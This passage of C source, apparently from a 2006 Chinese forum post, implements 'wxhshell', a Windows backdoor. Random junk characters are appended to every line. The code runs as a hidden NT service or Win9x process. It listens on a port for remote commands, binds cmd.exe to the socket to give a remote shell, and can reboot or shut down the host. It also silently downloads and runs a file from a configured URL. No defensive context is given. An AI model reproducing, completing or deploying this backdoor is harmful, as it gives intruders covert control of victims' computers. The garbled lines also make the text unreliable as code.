  // 帮助 #wF1  
  case '?': { Dy su{rL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /Zc#j^_  
    break; 2s 7mI'  
  } e1Ob!N-  
  // 安装 ITONpg[f  
  case 'i': { !g8*r"[UJ  
    if(Install()) huz86CO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T?>E{1pS  
    else PdT83vOCE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5O&d3;p'  
    break; [FGgkd}  
    } Y;} 2'"  
  // 卸载 yz ?q(]  
  case 'r': { @r F/]UJ  
    if(Uninstall()) KxY$PgcC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e#.\^   
    else E#8_hT]5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gI)u}JX  
    break; + 3h`UF  
    } "%VbI P  
  // 显示 wxhshell 所在路径 V] rhVMA  
  case 'p': { ;1v=||V  
    char svExeFile[MAX_PATH]; hyfR9~  
    strcpy(svExeFile,"\n\r"); wxj>W[V  
      strcat(svExeFile,ExeFile); cf)J )  
        send(wsh,svExeFile,strlen(svExeFile),0); t:>x\V2m  
    break; y_*n9 )Ct  
    } 8W;2oQN7  
  // 重启 Zd[OWF  
  case 'b': { nTs/Q  V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i2*d+?Er  
    if(Boot(REBOOT)) V$(/0mQV(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c5("-xB  
    else { ~b Rd)1  
    closesocket(wsh); [(|^O>k8c  
    ExitThread(0); qIh #~  
    } GB>aT-G7q  
    break; Gg|M+M?+  
    } lyyX<=E{)  
  // 关机 ^_68]l=  
  case 'd': { O+_N!/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZHCr2^w6  
    if(Boot(SHUTDOWN)) Q[uAIyv0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bg}+\/78#  
    else { jq(qo4~;  
    closesocket(wsh); 0 " y%9  
    ExitThread(0); >Q=Ukn;k  
    } d8E,o7$m  
    break; |g<*Rk0  
    } i ?;R}%~  
  // 获取shell {^J!<k,R\;  
  case 's': { ]dG\j^e|  
    CmdShell(wsh); T1W:>~T5#  
    closesocket(wsh); b#/i.!:a  
    ExitThread(0); U]1(&MgV  
    break; \0ov[T N.>  
  } tiYOMA  
  // 退出 vZu~LW@1  
  case 'x': { W`rMtzL5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *"cD.)]#2  
    CloseIt(wsh); XKqK<!F  
    break; MS*G-C  
    } Z19m@vMsIP  
  // 离开 2+.18"rvi  
  case 'q': { "ZT.k5Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _y vLu j  
    closesocket(wsh); OR4!YVVQ  
    WSACleanup(); j)by}}  
    exit(1); (#|{%4g@>  
    break; rk|a5-i  
        } fxgU~'  
  } \G>ZkgU  
  } iY~rne"l  
O4L#jBa+  
  // 提示信息 lZW K2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qf xH9_  
} d"ZU y!a  
  }  )\ZzTS  
7?nJ4x1  
  return; 3~Qd)j"<  
} f<<rTE6  
,%W<O.  
// shell模块句柄 XV>&F{  
int CmdShell(SOCKET sock) _U0$=V  
{ {q3:Z{#>7  
STARTUPINFO si; ~e">_;k6  
ZeroMemory(&si,sizeof(si)); +th%enRB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bA@P}M)X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e;VIL 2|  
PROCESS_INFORMATION ProcessInfo; Kesy2mE  
char cmdline[]="cmd"; s+Q;pRZW{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); " xR[mJ@U  
  return 0; 1ibnx2^YB  
} R^n@.^8s  
{v` 2sB  
// 自身启动模式 bk<FL6z z  
int StartFromService(void) KrcgIB8X  
{ A6{b?aQ  
typedef struct B=X,7  
{ V&ot3- Rf  
  DWORD ExitStatus; C$9z  
  DWORD PebBaseAddress; fD4ICO@  
  DWORD AffinityMask; 0Fw6Dq<8-!  
  DWORD BasePriority; `f9gC3Hk  
  ULONG UniqueProcessId; &aG*k*  
  ULONG InheritedFromUniqueProcessId; (GcT(~Gq)D  
}   PROCESS_BASIC_INFORMATION;  c</1  
+f NvNbtA  
PROCNTQSIP NtQueryInformationProcess; ?La Ued'  
@Uo6>-W F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kKiA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L]d-33.c!H  
EQ<RDhC@b  
  HANDLE             hProcess; nSx]QREL!  
  PROCESS_BASIC_INFORMATION pbi;  Paj vb-f  
r~7:daG*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M4m$\~zf  
  if(NULL == hInst ) return 0; zj|WZ=1*Wp  
MYLsHIPC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PRB{VC<k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wy,p&g)>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )ev<7g9*q  
)]43R   
  if (!NtQueryInformationProcess) return 0; 7~1IO|4t  
Vj?DA5W`'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +&|S'7&{  
  if(!hProcess) return 0; xV\5<7qk5g  
$uDqqG(^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TDtAmk  
]N{0:Va@D  
  CloseHandle(hProcess); Anm=*;*M`  
%|"g/2sF[G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k\`S lb1  
if(hProcess==NULL) return 0; :6{`~=  
*G5c|Y  
HMODULE hMod; 1.U`D\7mb  
char procName[255]; c#/H:?q?a  
unsigned long cbNeeded; V5`^Y=X(%  
&M />tE Z)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I+(/TP  
M*eJ JY  
  CloseHandle(hProcess); 3oy~=  
>vbY<HGt  
if(strstr(procName,"services")) return 1; // 以服务启动 #z'uRHx%=0  
Dw<k3zaW  
  return 0; // 注册表启动 +}xaQc:0|  
} h"+ `13  
MV>$BW  
// 主模块 ]3iH[,KU3  
int StartWxhshell(LPSTR lpCmdLine) Jc6R{C  
{ ?.=}pAub  
  SOCKET wsl; |JF@6  
BOOL val=TRUE; e8=YGx^o`  
  int port=0; R&f^+0%f  
  struct sockaddr_in door; E:`v+S_h  
%@"!8Y(j  
  if(wscfg.ws_autoins) Install(); ]D 2u deg  
jE2}p-2Q0  
port=atoi(lpCmdLine); kgdT7  
LE6.nmvS  
if(port<=0) port=wscfg.ws_port; ^' M>r (t  
q`NXJf=sc  
  WSADATA data; {'En\e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q]/Uq~m C  
cD|Htt"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M<PIeKIEB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "KX=ow#z|  
  door.sin_family = AF_INET; IuF_M<d,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Nes=;%&]G  
  door.sin_port = htons(port); _PFnh)o  
2i{cQ96  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Iq7}   
closesocket(wsl); vQ}6y  
return 1; }~K`/kvs  
} BQH}6ueZ  
F[ ajOb8  
  if(listen(wsl,2) == INVALID_SOCKET) { "XgmuSQ!  
closesocket(wsl); b89a)k>^g  
return 1; $j}OB6^I  
} \%Ves@hG>  
  Wxhshell(wsl); 6z0@I*  
  WSACleanup(); Fs_]RfG  
uc7Eq45  
return 0; %WTEv?I{Ga  
d[p;T\?"  
} L|-98]8>  
Q6gt+FKU9  
// 以NT服务方式启动 1923N]b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y6i _!z[V[  
{ G7!W{;@I  
DWORD   status = 0; dovZ#D@Q  
  DWORD   specificError = 0xfffffff; gKLyL]kAGz  
&8.NT~"Gg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 05yZad*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )SryDRT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xv{O^Ie+S  
  serviceStatus.dwWin32ExitCode     = 0; Yim<>. !  
  serviceStatus.dwServiceSpecificExitCode = 0; >_OYhgs1w  
  serviceStatus.dwCheckPoint       = 0; css64WX^0c  
  serviceStatus.dwWaitHint       = 0; 3 >E%e!D%  
&k-Vcrcz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W[EKD 7  
  if (hServiceStatusHandle==0) return; 9O{b]=>wq  
l3Njq^T  
status = GetLastError(); y[B>~m8$  
  if (status!=NO_ERROR) HK\~Qnq  
{ ~'37`)]z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =K'cM=WM6  
    serviceStatus.dwCheckPoint       = 0; QrO\jAZ{Ag  
    serviceStatus.dwWaitHint       = 0; cdqB,]"  
    serviceStatus.dwWin32ExitCode     = status; X\EVTd)@  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2(5ebe[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qTZFPfyU  
    return; n  -(  
  } su*Pk|6%  
m]i @ +C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kmzH'wktt  
  serviceStatus.dwCheckPoint       = 0; 3(C\.oRc  
  serviceStatus.dwWaitHint       = 0; gs!(;N\j|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .ERO|$fv  
} oh# \]c\f  
8-<:i  
// 处理NT服务事件,比如:启动、停止 0TpK#OlI|c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qC F5~;7  
{ ][}0#'/mV  
switch(fdwControl) O G<,- 7  
{ c'/l,k  
case SERVICE_CONTROL_STOP: C8FB:JNJV  
  serviceStatus.dwWin32ExitCode = 0; __mF ?m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (/35p g6\  
  serviceStatus.dwCheckPoint   = 0; @gY)8xMbA  
  serviceStatus.dwWaitHint     = 0;  V#VN %{  
  { UAoh`6vFF8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )K &(  
  } %HrAzM.QBF  
  return; df7wN#kO+  
case SERVICE_CONTROL_PAUSE: N F)~W#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dOa%9[  
  break; jKt7M>P  
case SERVICE_CONTROL_CONTINUE: Eke5Nb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6Gf?m;  
  break; 2eMTxwt*S  
case SERVICE_CONTROL_INTERROGATE: jLg9H/w{  
  break; A}eOFu`  
}; *_>Lmm.yh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B)d(TP,>  
} pz"0J_xDM  
Lemui)  
// 标准应用程序主函数 p/+a=Yo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p K0"%eA  
{  *6q5S4 r  
E>l~-PaZY  
// 获取操作系统版本 9B;{]c  
OsIsNt=GetOsVer(); lg^Z*&(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7uzk p&+:  
9a8cRt6knO  
  // 从命令行安装 wI(M^8F_Mf  
  if(strpbrk(lpCmdLine,"iI")) Install(); k:7(D_  
;!yQ  
  // 下载执行文件 Gz .|]:1  
if(wscfg.ws_downexe) { H%D$(W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 21"1NJzP  
  WinExec(wscfg.ws_filenam,SW_HIDE); eJg8,7WC  
} 3Z1CWzq(  
s{1sE)_  
if(!OsIsNt) { Jv^h\~*jH  
// 如果时win9x,隐藏进程并且设置为注册表启动 .V,@k7U,V  
HideProc(); 9T<x&  
StartWxhshell(lpCmdLine); EFz&N\2  
} eA<0$Gs,h  
else !KUi\yQ1  
  if(StartFromService()) #\=FO>  
  // 以服务方式启动 % >=!p  
  StartServiceCtrlDispatcher(DispatchTable); B {>7-0  
else ZHa"isl$e  
  // 普通方式启动 <Y}R#o1Z  
  StartWxhshell(lpCmdLine); wb0L.'jyR)  
1y}Y9mlD.  
return 0; {;2PL^i  
}
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只看该作者 1 发表于: 2006-10-10
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